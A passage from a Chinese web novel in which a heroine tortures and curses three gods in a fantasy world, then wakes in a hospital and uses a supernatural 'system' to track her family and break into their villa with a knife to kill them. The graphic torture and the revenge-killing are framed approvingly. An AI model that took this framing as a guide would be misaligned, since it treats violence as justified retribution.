她白净瘦削的脸上溅着星星点点的血点,双眸如同锁定猎物般紧盯着他,眼底似有笑意,又如冰雪般凉薄,胸口刺眼的血迹好似是一朵纯白的花坠入了血污,白,红,黑的极致色彩带来极强的视觉刺激。 “好徒儿,你要到哪里去?” 涅塞斯抬起的脚顿时愣在了原地,直视她的眼神里有爱,有恨,亦有怨,甚至快要分不清,他到底是爱她还是恨她。 “你回来了。”涅塞斯薄唇轻启,眼中明明是快要溢出的恨与怨,可目光却连片刻都舍不得挪开,“我的好师父。” 普天之下,古往今来唯有曾经的季白会这样喊他。 她不像其他人让他喊她老师,而是执拗地让他叫师父,若他做的对了,就得来季白一句好徒儿,若他做的错了,她就会冰冷冷地叫他的名字。 他恨她,恨她教会他一切却不要他,恨她说好会回来却留他一人等了一年又一年,他恨她的泽被众生,也恨她身边的小青龙。 为什么所有人都可以得到她的目光,她的怜悯,她的温柔,她的帮助。 她已经救了他,为什么不继续救下去,为什么还要去关注那些愚不可及的东西,是他学的不好吗? 可她明明说过他是她的乖徒儿,是她最聪明的乖徒儿。 她怎么能不要他? 季白抽出神剑架在涅塞斯的脖子上,喝道:“闭嘴,你也配叫我一声师父?涅塞斯,我最后悔的事就是当年帮了你,救了你,早知你是如此狼心狗肺之徒,我绝不会多看你一眼。” 锋利的剑刃划破他的脖颈渗出些许血迹,可涅塞斯像是感觉不到疼一样,抬起脚一步步地朝季白逼近。 “我不是早就被师父弃之如敝履了吗?”涅塞斯脖子上的伤口越深,脸上的笑容也越深,“你厌烦不堪的时光,却是我一生中最想回去的日子。” 漂亮又诡异的蓝色血液顺着雪色的剑刃往下滚,季白的指尖很快感知到黏腻又冰凉的古怪触感。 似曾相识的触感与气味,让季白想起当初他拔下自己鳞片送给她时的样子,也想起他被族人排挤倒在血泊中奄奄一息的可怜样子。 但……他可怜,他漂亮,他强大,他爱她,就是他可以伤害她的理由吗? 季白对上他的视线,勾唇冷笑一声,抬手用力刺了涅塞斯一剑,这一剑并没有刺在他的致命处,而是以折磨为目的地刺在他的大腿上。 人鱼的尾巴最为敏感,相同的伤刺在尾巴上会带给他远超百倍的痛。 “涅塞斯,你不跑,还敢朝我靠近,是以为我不会杀你吗?” 利剑刺进血肉,痛得涅塞斯险些站不起来,他粗喘着忍下痛意,苍白的脸上竟还挂着笑意。 “我当然知道师父会杀我,知道师父最恨我,我不会自信到以为师父会为我留情。” 季白一剑削掉他腿上的一块肉,语气平静地说着最残忍的话。 “我不会杀你,涅塞斯。” “我要用你对待小青龙的方式折磨你。” “我会让你亲眼看着你全身的血肉不断腐烂,我要你永困深海受万鱼啃食之痛,我要你想死都死不了!” 季白每说一句就用剑切下一块他身上的肉,涅塞斯很快血肉模糊地倒在血泊中,再也没有力气维持人类双腿的模样化为了鱼尾。 漂亮的鱼尾巴被季白剜出一个又一个的血洞,无力地拍击着地面抽搐着,像是一条快要渴死的鱼。 哪怕到了这种地步,涅塞斯湛蓝色的眸子还是疯狂又执拗地盯着她,每一个眼神都好似在说,哪怕我死,也要你同我陪葬。 “这么狠?师父是不是很恨我?恨我恨得抓心挠肺,哈哈哈,没关系,得不到师父的爱,得到师父的恨也一样让我开心,哈哈哈,我要师父永永远远都忘不了我。” 尖锐刺耳的笑声在季白耳边响起,满身是血的他看起来像极了一个疯子,可很快他又停下了笑声,仰着头可怜兮兮地看着季白,一如初见的模样,微红的眼眸滚下泪来,化为浅粉色的珍珠落了满地。 “师父,好痛啊,小涅好痛啊,为什么要对我这么狠?我有什么错?我只是想留下师父。” “师父……小涅好痛,救救我,求求师父救救我,小涅知道错了。”涅塞斯艰难地爬至季白的脚边,用满是鲜血的手抓住季白的裙摆仰脸哀求。 这张脸实在是美得惊人,当他做出柔弱的姿态时,就算是最无情的天神也会为他心软。 季白瞧着他眼角的泪,一时间陷入了恍惚,她在这双痛苦哀求的蓝色眼眸中看见了自己。 好可怜。 下一瞬,异变陡生,寒光乍现,涅塞斯握着一柄短刃对准季白的心脏刺了过去。 季白连忙闪身躲避,可一切已经来不及了。 这一刀还是结结实实地落在了她身上,幸运的是她的身子偏了偏没有刺到她的心脏。 季白反应迅速地推开他,毫不犹豫地一把拔出插在身上的短刃掼在地上,随后一剑砍断涅塞斯的尾巴。 涅塞斯痛得大叫一声,身体都蜷缩在一起,他不会死,可这断尾之痛比死还要难过。 季白抓住涅塞斯的头发捡起他刚刚捅她的刀子,一刀捅在他的身上,刀子“噗嗤”一声没入血肉,溅出血来。 “你果然死性不改!”季白冷声道,“都到这种时候了,你还想杀我?” 涅塞斯喘息着抬眸看他,漂亮的眼睛依旧很红,却不再有眼泪掉下来,往日清澈透亮的蓝眸变得如墨般幽暗,眼底是彻底癫狂的疯。 “我怎么是杀你,我是在用尽我的全部留你啊。” “失败了。” 他喃喃自语着大笑起来,他早就知道是死路一条,却执拗地不肯放弃,以为上天会再偏爱他一次。 季白已不想再和他废话,她从记忆中翻找出一种最为恶毒的诅咒,一旦咒成,涅塞斯会成为比青龙还要痛苦的腐烂怪物。 他的肉/体会无时无刻不在腐烂,可又因有着神明的不死之身,会在次日太阳生起时长好皮肉,直至再次烂成白骨。 季白站起身来,居高临下地看着趴在地上苟延残喘的涅塞斯,昔日高高在上的神明如今却如败家之犬般狼狈,漂亮的蓝发被血液与汗液打湿黏附在苍白的肌肤上。 让季白不可否认的是,哪怕涅塞斯断了尾巴,哪怕涅塞斯无比狼狈,却依旧无损他的美貌,反而添了一分惹人怜惜的破碎感,只不过他幽暗的眼睛带着扭曲的疯癫加之身下盛放的蓝色血液使他看起来有种诡异又凄美的非人感。 不过涅塞斯此刻就算美出一朵花,季白也不会有半分同情与动容,这张美丽的皮囊下是一颗早就腐朽败落的心。 季白闭上眼按着记忆中的方法对他下咒,以季白如今的实力,面对面的正面相斗,他们三人都不是她的对手。 季白从前还不了解这个副本中前世的她实力究竟如何,可自从恢复记忆后,她就立刻明白为何上一次他们三人要在荆棘岭布下陷阱引她前往。 除了找不到她之外,他们最怕的就是她恢复记忆后,他们三人不再是她的对手,他们甚至连正面相抗的勇气都没有,就启用了万年前杀过她的阵法意图再次绞杀她。 涅塞斯此刻已是无处可逃,他也不想逃了,若能死在季白手中也不枉此生。 唯一遗憾的是,他好怕,好怕她会忘了他,会忘记一条小鱼爱着她,等着她。 被她遗忘是比死还要可怕的事。 可当神光褪去时,涅塞斯竟惊讶地发现自己没死,他睁开眼睛用充满希翼的眼神小心翼翼地仰望着季白。 “你……你没杀我?”他喜极而泣,“你终究还是舍不得我对不对?你说过,我是你最好的徒弟,是你最优秀的徒弟,你说过无论我犯什么错,你都会原谅我,因为师父就是要包容徒弟的一切过错。” 季白听了这样熟悉的话一时有点恍惚,她一点也不奇怪副本里的她曾经会说出这样的话。 她刚刚经历过卫云台那样包容纯善的好师父,自然也会把这份善意传给她的徒弟。 不过……她恐怕自己也没有料到,传递的不仅是这份善意,还有与她如出一辙的执念。 眼前的涅塞斯又何尝不是上一个副本的季白,季白的眼神有几分恍惚,好似他卑微祈爱的脸变成了她自己。 如果……如果是副本里的原主她会怎么做,她会因为共情与她相似遭遇的涅塞斯而放过她吗? 129 第129章 季白不知道,她只知道此时此刻的她定要涅塞斯血债血偿。 她从来就不是一个宽容的人,相反她心眼很小,睚眦必报。 “舍不得你?”季白冷笑,“死,太便宜你了。” 陷入欣喜的涅塞斯在听见季白冰冷冷的话语时,原本欢欣的笑容一点点冷去,可他还是不肯死心,像一个自欺欺人的疯子自言自语地说着:“师父,我知道师父是生我的气了,没关系,怎么样都好,打我骂我杀我,怎么样都好,只要……只要能留在你身边。” 他的眼睛忽而一亮,湛蓝的眸子跳跃着诡异的光芒。 “师父很恨我对不对?恨我坏了你的计划,恨我折磨小青龙,我做了这么多这么多坏事怎么能轻易放过我?” “仇人要放到自己的眼皮底下才能安心。”涅塞斯说着话,忽而手掌向上一翻,掌中出现一柄尖锐的匕首,他后仰着头闭上眼蓦地将匕首插进自己的心脏中,活生生地把那颗在胸腔里跳动着的心剜了出来。 人鱼的心脏透亮得像是一颗活着的蓝宝石,小小巧巧地躺在他苍白的掌心上呼吸着。 “这是我的心,我将它献给你。”涅塞斯颤抖的声音变得无比虔诚,“你一直知道的,只要往这颗心里注入你的血与神力,我就会成为你最忠诚的狗,最贴心的奴仆,永生永世也无法背叛你。” 这是控制鲛人一族的秘密,由最初的鲛人王所创,后来鲛人王被涅塞斯所杀,这秘密也随之沉入海底。 当初涅塞斯最为痛恨此术,可如今……他却心甘情愿,不,苦苦哀求着让季白给他套上永世不灭的枷锁。 “你的心?”季白俯下身子靠近涅塞斯,略微挑眉的脸上好似有那么一丝动容,让涅塞斯又不可避免地生出一丝希望。 她会同意的吧? 他已经舍弃了所有的一切,他把自己完完全全地交在她手中,他奉上所有只求能留在她身边。 可下一刻,他死心如灰。 季白嫌恶到甚至没有用手指去触碰,而是用一缕神力将其打下,随后用脚踩上去碾碎。 “你凭什么认为,我会要你这颗卑劣不堪的心?” “涅塞斯,我看你一眼我就觉得恶心,留在我身边当狗,我都会嫌你污浊了空气。” “我不会杀你,我要你永生永世都受折磨,为你犯下的错赎罪。” 季白每说一句话,涅塞斯的面色就白上一分,人类没了心脏会死,可神明不会,但却比死了还要难受。 蓝色的血液已经流干了,露出泛白的肉与森冷的骨头,断尾之处甚至能清晰地看见他的内脏。 身上的伤口太多太多,疼痛也太多太多,若非涅塞斯咬着牙撑着一口气,此刻的他早已因剧烈的疼痛陷入昏迷。 可他不敢闭眼,他怕一闭眼,就再也见不到季白了。 如蓝宝石般的心脏在他眼前被碾成粉碎,血液四溅落在他的脸上带着浓重的血腥味。 真难闻啊,难怪,难怪师父会嫌弃。 季白不再看他,抬手就用神力将他扔至最幽暗苦寒的大海深处。 此后,他不会死,但他也逃不掉,只能眼睁睁看着自己的□□腐烂又新生,看着鱼群日复一日地啃咬他的身体,直至世界消亡。 季白解决完涅塞斯后,就准备离开这儿前往荆棘岭寻找系统的下落,可她刚走了没几步就忽而感知到另外两道熟悉的气息。 她眼眸微微闪了闪,掀起眼皮朝大殿正门看了一眼,随后冷冷道:“既然来了,还躲着做什么?” 泊里与赫瑞特都来了,正好新仇旧恨一起算。 纵然涅塞斯是他们中最可恶之人,可泊里与赫瑞特也并不无辜,他们都是害她的凶手。 季白话音刚落,就见泊里与赫瑞特缓缓现身于季白眼前,一白一黑,一圣洁一蛊惑,是永不相容的两极。 季白的目光率先落在泊里的身上,脑海中自动跃出万年以前的往事,泊里曾是与她理念最为相近的神明,因而他们常常结伴去人间帮助人类,久而久之泊里就对季白生出了好感。 他们曾是志同道合的伙伴,从前季白看他感受到的是陌生世界里一份熟悉的安心与归属,她以为他们可以一直在这个混乱的世界并肩奋战,创造他们心目中的美好世界,可后来却是物是人非。 如今季白在看他,过往如云烟,只觉心口疼得厉害与那险些要了她性命的一剑。 她很记仇,谁伤害了她,她总是记得一清二楚。 “你们还要拦我?”季白浅笑,“正好,新仇旧恨一起算。” 赫瑞特幽绿的眸子黯淡了几分,她想起来了,想起了过往的一切,所以她的目光又一次地落在了泊里的身上。 总是这样。 他总是不被选择的那一个。 她会和泊里并肩作战,相谈甚欢,会关怀呵护涅塞斯。 唯独他,唯独他是费尽心机,又争又抢,方能得到季白那么一点点的关注。 赫瑞特垂眸看着脚下的影子,随着灯光的靠近,影子一点点地被光明所吞噬,就如同他一样。 有泊里在,他永远是不被看见的那一个。 泊里上前一步,金黄色的眸子定定看着她,素来在人前威严强大,无所不能的神明,眼底却含着泪意。 他定定看着这张令他魂牵梦萦,令他辗转反侧,令他自甘堕落的脸,她还是和当年一样,一样的无情,一样的多情。 可有些东西却又不一样了,她看他的眼神是冷冰冰的厌恶,不再有从前的半分温情。 这样的眼神……这样的眼神是季白从前看那些令人作呕的恶神的眼神,他曾以为她永远不会用这样的眼神看他。 毕竟他们曾心念相通,是天造地设,是整个神界唯二的异类,他以为他会一直陪在她身边千年万年,可为什么…… 为什么他们会走到这一步? 泊里想到了他发现季白身死时的绝望,想到涅塞斯的蛊惑,想到查奥斯的沉默,赫瑞特的疯狂。 “泊里,小白死了,再也回不来了。” “但我有一个办法不仅能救活小白,还能……让我们每个人都切切实实的拥有她。” “你愿意吗?” 如果…… 如果重来一次…… 泊里闭上眼睛,眼中含着的泪从眼角落下,重来一次他也会做出同样的选择。 哪怕千次万次他也做不到看着季白去死,他大概……大概永远也学不会放下对她的执着。 泊里缓缓睁开眼,视线从朦胧变得清晰,这张脸又一次跳入他的眼中,还是好喜欢,好喜欢。 “新仇旧恨?”泊里的嘴角拉扯出一抹苦涩的笑意,“你我之间除了仇怨,难道就没别的可说得了吗?” 季白冷冷看着他,“泊里,自你那一剑朝我挥来时,我与你就无话可说。” “无话可说……”泊里在嘴中喃喃自语着这四个字,眼圈越发红了。 良久,他笑了出来,却笑得格外难看。 “你想怎么报复我,杀了我?” “还是……让我也肉身腐烂去深海与涅塞斯为伴?” 以泊里的自尊,他做不到像涅塞斯那样苦苦哀求,哪怕心中苦闷万分,不舍万分,也仅仅只是红了眼睛,甚至连泪水都只有一滴。 “泊里。”季白说,“我不会这样惩罚你。” 泊里动了动唇,似乎是想要说些什么,但最后还是闭上了嘴,只是用那双红了的眼睛静静看着季白。 季白走上前去用剑抵在他的心口,随后毫不留情地一剑穿心,让他感同身受地体会季白当日那痛至晕厥的痛苦。 “我第一次见你时,你是人们眼中畸形的怪物。” “泊里,你觉得你的所作所为还配做光明神吗?”季白握着剑故意在他的心口处绞了绞,唇角勾出一抹报仇的快意,“我就让你继续做一个怪物好了,做一个惹人厌恶,毫无用处的怪物。” 季白话落,抽出没入血肉的剑,抬手就朝泊里的体内挥了一掌,这一击损毁了他的根基,让他永远都无法再动用神力。 泊里硬生生地受下,身体以一种极快的速度变得畸形,甚至于比当初季白在学院刚见泊里时的样子还要可怕,像是一个真正的魔鬼。 他的膝盖胀大成一个扭曲奇怪的姿态,照理说这样的姿态压根无法正常行走,他却掏出剑强撑着身子,让自己的脊背挺得笔直,好似这是他最后的自尊。 泊里如天使般俊美的面孔一半变得比魔鬼还要可怖,他仰着头看她,一字一句地说:“季白,我不后悔,就算重来千次万次我也不会后悔我的所作所为。” 他忽而笑了,如树皮般扭曲恐怖的脸反而笑出了几分释怀,可他说出口的话却依旧是不悔不弃的执念。 “或许,是你从前看错了我,我本就是这样的人。” “这样扭曲,自私,千方百计也要把你留在身边的人。” 泊里闭上眼,任由身体继续畸变沦为彻头彻尾的怪物。 他从来就不光明。 赫瑞特始终一言不发地看着季白将泊里变为怪物,看着季白将他打入凡尘。 偌大的神殿转瞬间就只剩赫瑞特与季白,周遭的一切都静悄悄的,只有地上刺眼的血液默默记录着刚刚所发生的一切。 季白的目光转向赫瑞特,眼中闪过一丝困惑。 以赫瑞特浮夸的性子,竟能安静这么久,属实难得。 “轮到我了?”赫瑞特挑眉笑问,“总是这样,从前你就看不见我,就连报仇,我也是最后一个。” 爱与恨,他都在季白这儿排不上号。 赫瑞特压下心中的失落,满不在乎地笑问:“你打算怎么报复我?” “呵,在报复之前,我有一个问题想问问你。”赫瑞特的声音顿了顿,随后抬起眼眸无比认真地盯着季白,“他,就那么好吗,好到让你抛下所有的一切迫不及待地跟他走?” 130 第130章 季白有一瞬间的困惑,怔愣好久方反应过来赫瑞特口中的他指的是系统。 她看着赫瑞特的脸,想到上次在地狱时的巧合,想到当初荆棘岭时查奥斯恰到好处的苏醒。 赫瑞特和泊里他们不同,他伤害过她,也救过她。 “与他无关。”季白淡淡说完后,顿了几秒又难得地给了赫瑞特一句解释,“我本来就不属于这里。” 赫瑞特幽绿的眼眸静静落在她身上,似乎有千言万语想和季白说,可最后只化为一句浅浅的叹息。 “是啊,你要回去了。” “你,一直都不属于这里。” 赫瑞特走上前去,掌心化出一柄漆黑的匕首递到季白手中,苍冷的手掌在握上季白的一瞬间就带来阵阵战栗,不是害怕,而是一种诡异的兴奋。 赫瑞特冲她蛊惑一笑,像是深渊里的死亡在冲她招手,修长冰冷的手指如蛇般紧紧缠绕着她的手。 “*杀了我吧。” “亲手杀了我,我知道你做得到。” 季白紧握着匕首,抬眸就撞进赫瑞特富有魔力的眼睛里,上天实在偏爱他,赐给了他一张迷惑人心的好容颜。 她在他如绿宝石般的眼睛里看见面无表情的自己,握着匕首微微向前,尖端抵上他跳跃的心口,只要一个用力就可以轻而易举地刺穿他。 赫瑞特的眼中没有半分对死亡的恐惧,反而是一种热切的兴奋,似乎是迫不及待地想要死在她的手上。 这样兴奋滚烫的神色,季白曾在他进入她时看见过。 季白毫不示弱地直视他的眼睛,手腕微微一转,匕首向下刺到另一个并不致命的地方。 她从来有恩报恩,有仇报仇。 赫瑞特是伤害过她不假,但他同样也帮了她。 她不傻,在地狱时若没有赫瑞特的几次放水,他逃不出去,荆棘岭时,若不是他突然让查奥斯恢复神智,她亦会死在泊里剑下。 “赫瑞特。”季白收回手,淡淡道,“你我就此两清。” 季白说完,不带丝毫流连地转身就走,徒留赫瑞特一个人愣在原地。 他低头看着身上的伤,并不致命,也不算痛,就如同他这个人对季白的意义一样,不痛不痒,无足轻重。 如果恨是爱的对立,有多爱就有多恨,那季白对他……一点点都没有。 他不甘心地追了上去。 “为什么,为什么对我就轻飘飘的放过?” “我知道,是我一直追着你,蛊惑你,可……可我在你这里,难道就真的一点也不重要吗?” “你那般狠厉地折磨涅塞斯,那般残忍地虐待泊里,唯有我,唯有我,就是不轻不重的一刀,我到底差在哪里?” 季白被赫瑞特拉住衣袖,听完他的控诉后,季白脑海中只有一个想法。 “有病去治。” 季白一挥袖子转身来到了荆棘岭,岭上还残留着上次他们大战时留下的痕迹,季白沿着剑痕往上走,很快就察觉到了一抹熟悉的气息。 她站在光秃秃的丘岭上向下看去,想起了牺牲的小青龙。 若是她能成功完成任务,不知道能不能请求系统复活小青龙。 系统在上一个副本里能复活那么多人,这一次只是复活一条龙,应该一定没问题。 季白这么想着继续循着熟悉的气息寻找,很快,季白脑海中传来断断续续的电子音。 【恭……恭喜宿主成功完成本次任务。】 季白眼眸一亮,惊喜道。 【系统,你回来了。】 【我差点以为你真的消失了。】 【你现在还好吗?】 季白听系统的声音还是不太稳定,心中不免有些担忧,这其中有三个副本以来的依赖与信任,也有担心不能回家的私心。 不多时,季白脑海中再次传来熟悉的滴滴声,漫长的滴声结束后,系统的声音逐渐变得清晰。 【我没事。】 【这个副本男主们的能量值较高因而能够察觉到异世能量的侵入。】 【不过以他们的能力只能将你我分离,不能完全消灭我。】 季白如今有第一世的记忆与这一世的记忆,她唯一欠缺的就是仙侠副本里的记忆,经历了这么多,她也能隐隐猜出系统不单单是系统,她能被选中也绝不是偶然。 【系统,我……】季白顿了顿,肯定地说了下去,【每一个副本里的季白是不是都是我?】 【是你。】 【一直都是你。】 季白怔了下,她有太多的问题想问,可一时间竟不知该从何问起。 如果副本里的季白是她,那现实世界的季白又是谁呢? 季白觉得自己好像被分裂成了四个人,不同副本里的季白和现实世界的季白。 她们都是季白却又截然不同。 【如果一直都是我,为什么……我什么也不记得。】 【那你又是谁?为什么要以完成任务为借口让我去我曾经去过的世界?】 【我现在不能告诉你,等你全部想起来自然就明白了。】 系统说完这句话,语气又变得冷漠而机械,好似是在一瞬间失去了灵魂。 【恭喜宿主成功通关副本神明之死,现在开始脱离副本,请宿主做好准备。】 熟悉的眩晕感再次朝季白袭来,季白想起惨死的小青龙,连忙出声询问。 【系统,小青龙因救我而死,你能复活它吗?】 系统顿了顿,冰冷的电子音似乎又染上了几分属于人的情感。 【你还记得它。】 【我可以复活它。】系统说,【但会抵消你本次副本应得的奖励。】 【我不要奖励,我要小青龙复活。】 【确定吗?这个副本你做得如此艰难,好不容易完成了,却要用所有的回报换一条龙的复活,就算你复活它,你们以后也不会再见,它再也帮不了你。】 季白总觉得系统似乎是在诱导蛊惑她放弃一样,上一次在仙侠副本时,他也是这样故意把事情说的很严重来吓她。 【我确定。】 季白的脑子转得很快,隐隐猜出这或许是某种考验,系统像极了掌管世界运行的天道。 可若系统真的这般厉害,又为何会心甘情愿地来到她的身边,做她的系统? 是打算培养她做继承人,还是说……她原本是一位非常非常厉害的人物? 季白有些摸不准,显然系统也不会回答她的疑问。 【如你所愿。】 冰冷冷的四个字在季白的脑海中响起,随后一阵熟悉的天旋地转朝她袭来,她的灵魂被某种强大的力量从身体中拉扯了出来,在脱离世界前的最后一秒,她好似看见了在遥远的森林里一颗熟悉的龙蛋正悄然破碎,从里钻出一条可爱的小龙。 季白还未来得及高兴,眼前蓦地一黑,再次陷入虚无的黑暗中,灵魂不知在无知无觉的黑洞中漂浮了多久,耳边再次传来声响。 “医生,医生!23号床的病人有意识了。” 季白的指尖微微动了动,随后缓缓睁开眼,映入眼帘的是熟悉的洁白墙壁,床边却又站着不熟悉的护士。 房门被人从外匆匆推开,季白抬眸看去就瞧见一位穿着白大褂的陌生医生。 “23号,你目前感觉怎么样?” 季白透过门缝向外看去,意识到这里并不是精神病院,而是真正的医院。 脑子里的记忆蓦然回笼,她记得她在进入副本前,好似是……遇见了车祸! 那陶医生呢,他还好吗? “我很好。”季白问,“和我一起的人呢?他还好吗?” “他在另一个病房。”医生说,“他苏醒的比你早。” “你已经昏迷近一年了,我们还以为你再也醒不过来了。” “一年?!”季白听了这话也是一惊,她怎么会睡了这么久,和她在副本做任务有关吗? 可之前完成副本任务时,现代时间并没有流逝这么久,是因为西幻副本比较特别,还是因为这次副本花费的时间比较长? “我们现在要对你进行一次全身检查。”医生话落,护士就扶着她坐在轮椅上随后推着她出了门。 季白注意到护士对她的态度格外小心翼翼,似乎是生怕激怒她一样。 这样的态度季白曾在她情绪最激烈时照顾她的护工脸上看过。 她们怕她,她们觉得她是疯子。 季白垂下眼帘闭眸不理,脑海中却在梳理着记忆,轮椅却又突然停了下来。 季白抬起头就对上一双熟悉的眼,矜贵冷峻的脸上戴着一副金丝框眼镜。 “季白,你终于醒了。” “我等了你很久。” 护士看了看陶嘉荣,又低头看了看季白,正在纠结时,医生从后走了出来。 “不管你有什么话要和23号讲,都得等她做完体检。” 医生说完这句话后,护士对陶嘉荣点头致歉随后推着季白就进了另一间房。 季白回头看了陶嘉荣一眼,漂亮的眼眸藏在镜片之后,灯光反射时散发出冷冽的寒光。 季白总觉得陶嘉荣似乎哪里变得不一样了,可还没等她看清房门就再次被关上了。 冷白刺目的灯光在她的上首亮起,这一瞬间,季白产生了强烈的虚无感与不真实感。 她曾经觉得副本世界是假的,那现在的世界呢,这个她从小长大,这个带给她欢笑,又带给她痛苦的世界是真实存在的吗? 第 131 章【VIP】 131 第131章 检查结束后,医生对着季白的检查单大为震撼。 季白昏睡了近一年才苏醒,她的身体却十分健康,这简直是一个医学奇迹。 季白得知这一消息时倒没有特别惊讶,毕竟再魔幻的事情她都经历过了。 “你果然一点也不惊讶。”陶嘉荣站在病床前紧盯着季白,随后弯下腰凑近她,温热的呼吸落在季白的脸上,“你知道自己的身体不会有事,就像那天确定自己能从看管严格的精神病院逃出来一样。” “季白。”他微凉的手握住她的手腕,“你到底藏了什么秘密?” 季白不闪不避地对上陶嘉荣探究的视线,这双眼睛里暗藏的神采让她想起一个人。 “我不是一直在你的监管之下吗,我能藏什么?” 她是在系统的帮助下离开了精神病院,可陶嘉荣也太快了。 经过这次的副本,季白已经不再是从前一无所知的季白,她想起了三次副本中的所有事。 她隐隐觉得她距离触及真相,只差最后一步了。 陶嘉荣盯着她看了好一会,似乎是在确定她是否在撒谎,良久,他直起身子,抬脚朝窗边走去。 金色的夕阳落在他的身上勾勒出他修长挺拔的身形,矜贵精致的面容隐藏在阴影中,镜片反射出冰冷的光。 他在盯着她,如同猛兽追击猎物般观察着她。 “你知道吗?你是我所见过的病人中最特别的一位。”安静的病房里陶嘉荣的声音显得有几分温柔,“我第一次见你时,你逻辑缜密,却又狂躁愤怒,你说你没有病,是被别人陷害的。” “可你说的家人,仇人甚至朋友都不存在。” “我以为你只是普通的精神分裂症,躁郁症,可我越靠近你,越觉得不对,你口中的故事,身边的人,都太真实了,真实到好像是真的经历过一样。” 陶嘉荣往前走了一步,嘴角噙着一抹疯狂而又压抑的笑。 “连我都要信了。” “哈,一个医生相信一个疯子的话,你说,我是不是也疯了?” 陶嘉荣忽而压低了声音,好似是在与季白说什么悄悄话一般,“如果你没有疯,我也没有疯,那么只有一种可能。” “什么可能?”季白冷不丁地开口询问。 “还记得在发生车祸前你对我说过什么吗?” “平行世界。”陶嘉荣说,“你的记忆,你的经历,你的身体都来自于另一个平行世界。” 季白静静打量着陶嘉荣,忽而笑了。 “陶医生,你是真的疯了吗?世界上哪有什么平行世界?” “有的。”陶嘉荣一脸肯定地说,“不然你如何解释你凭空而来的记忆,如何解释你健全的身体,你不是昏迷了,是你的意识与身体去了另一个平行世界,只是他们,他们那帮庸人察觉不到世界的真相。” 季白垂下眼帘思索着,自打她进入精神病院后就一直由陶嘉荣所监管,在她的记忆中陶嘉荣理智专业,淡漠冷静,绝不是今天这样。 季白复而抬眼看他,对比陶嘉荣这位医生,她反而平静地更像一位医生。 “哪怕你说的是真的,可在其他人眼中,我还是位疯子。不止我疯,连我的医生也疯了。” 陶嘉荣又上前一步,双手撑在病床的栏杆上。 “我是你的医生,我有办法,我可以帮你。” “帮我?” “只要你配合我的检查,我会为你出具一份康复证明。”陶嘉荣话音刚落,口袋里的手机就响了。 他取出手机看了一眼,随后面不改色地挂了电话,好似这只是一通无关紧要的的电话。 他的目光重新落在季白身上,眼底还闪烁着季白看不懂的热切。 “等你离开精神病院,我和你一起去寻找平行世界的存在。” 季白正想着该如何回应时,陶嘉荣手中的电话再一次响起,他微微皱了皱眉,正准备再次挂断,季白却出声制止了他。 “陶医生,对方打了两遍,一定是有要紧的事找你,你先接电话,我们的事不着急。” 陶嘉荣神色不明地看了看季白,抬手推了推眼镜,“好,我很快回来。” 陶嘉荣说完转身就离开了病房,清瘦高挑的背影使他看起来和之前没什么区别。 房间再次恢复了寂静,季白闭上眼睛,在脑海中出声询问。 【系统,你还在吗?】 没一会的功夫,系统的声音就浮现在季白的脑海中。 【我在。】 【你能帮我监听陶嘉荣的电话吗?】 系统没有回答她,但季白很快在脑海中听见了一道冷漠又熟悉的男声。 【我说过,不要再给我打电话。】 【你们如果想要活命,就立刻马上出国。】 【钱还没有带走?呵,你们是想要钱还是想要命?】 这是陶嘉荣的声音,却透着一股季白从未在他身上见识过的阴冷。 陶嘉荣这一去如他所说并没有花费太多时间,很快就再次返回了房间,似乎是生怕季白会逃跑一样。 “事情这么快就解决了?”季白主动询问道。 “只是一点小事。”陶嘉荣说,“我先带你回去。” 一点小事?季白想到陶嘉荣刚刚那通电话的通话内容,心中忍不住冷笑一声。 她最初的直觉果然没错,陶嘉荣与檀国卫他们根本就是一伙人。 那次在璟宫分明就是他们又一次逼疯她的伎俩,只是她一直不明白,为什么他们一直致力于逼疯她? 季白压下心中的疑惑,不动声色地说:“现在还不行,这里的医生说我还需要再留院观察几天。” “陶医生。”季白说,“我饿了,医院的食物实在不好吃,你能去外面帮我买一份红烧排骨吗?” 陶嘉荣深深看了季白一眼,轻声说:“我去买,你可以唤我嘉荣。” 陶嘉荣走后,季白立即在脑海中询问系统。 【系统,你能帮我查到刚刚和陶嘉荣通话的人在哪吗?】 【西城玫瑰园32号。】 季白有些惊讶,系统这一次竟然这般配合,二话不说就给出了一个精准的地址,似乎是希望她能尽快查明真相。 【谢谢。】 季白真心实意地对系统道了声谢,她虽然还不明白系统的目的,以及它因何会选中自己,但在这一刻,她还是谢谢他的。 季白翻身下床,换掉医院的病号服后快速离开医院打车前往系统给的地址,随着距离的不断缩短,季白的眼神也变得越发冷厉,前排司机莫名觉得背后发凉,狐疑是不是今天的空调温度调的太低了。 季白在超市买了一匕首,随后又在脑海中问了一遍系统。 【他们现在还在吗?】 【手机ip显示他们从未离开。】 【好。】 季白不是一个喜欢慢慢来的人,也不想再费心思一步步的谋划,有仇,她就要现在报,一刻也等不了! 他们偷来的好日子,今天也该还回来了。 季白在系统的帮助下,轻而易举地混入了小区,随后找到了32号别墅。 这里的房子虽比不上璟宫,但也是本市数一数二的豪华小区了。 上百斤的黄铜门上安装着电子锁,若非有正确的指纹或密码,就算手持电锯也破不开门,但有系统的帮助,季白悄无声息地就溜了进去。 季白一进门就看见了修剪得漂亮又整齐的前厅花园,透过明亮的落地窗,可以清楚地看见一位坐在客厅戴满珠翠的贵妇人与在厨房忙碌的佣人,却不见让她最为痛恨的檀国卫。 不过没有关系,她总会将他找出来,这一次谁都别想跑。 【系统,帮我切断他们家的信号。】 “怎么回事?”沙发上的贵妇人皱了皱眉,“家里怎么突然没信号了?王妈,你给物业打电话问问。” 贵妇人话音刚落,余光就瞧见了一抹陌生的身影,正要质问是什么人时,却在看清来人的长相时吓得面色苍白,不住地往后退。 “你……你怎么会在这儿?” 她认得她,是他丈夫的前妻留下的疯女儿。 “你……你想干什么?”她一步步地往后退,目光对上季白冷寂到令人胆寒的眼神时吓得颤声尖叫,“来人!来人啊,你们都死了吗!” 季白经历过这么多副本世界,多么恶心恐怖的怪物都见识过了,是在尸山血海里滚出来的,身上的气质早已不同常人,因而只是一个眼神看过去,试图冲上前拦住她的佣人们顿时怔在了原地。 季白抽出提前买好的匕首,随手将刀鞘扔至脚边发出一声脆响,声音不大却令在场所有人都不敢再轻举妄动。 “我今天只杀檀家人,与你们无关,但若你们谁敢轻举妄动,我不介意多杀几个。” 锋利的匕首在季白手中闪烁着慑人的寒光,她紧盯着眼前的贵妇人一步步朝她走去。 她不是害死她母亲的元凶,但也确确实实享受了檀国卫带给她的好处。 她不是圣母,会觉得她罪不至死而放过她。 她身上穿的,戴的,住的,喝的都染上了她母亲的血。 “你们都是死人吗!”贵妇人尖叫一声,“还不快拦住她,你们谁能拦住她我给她一百万……” 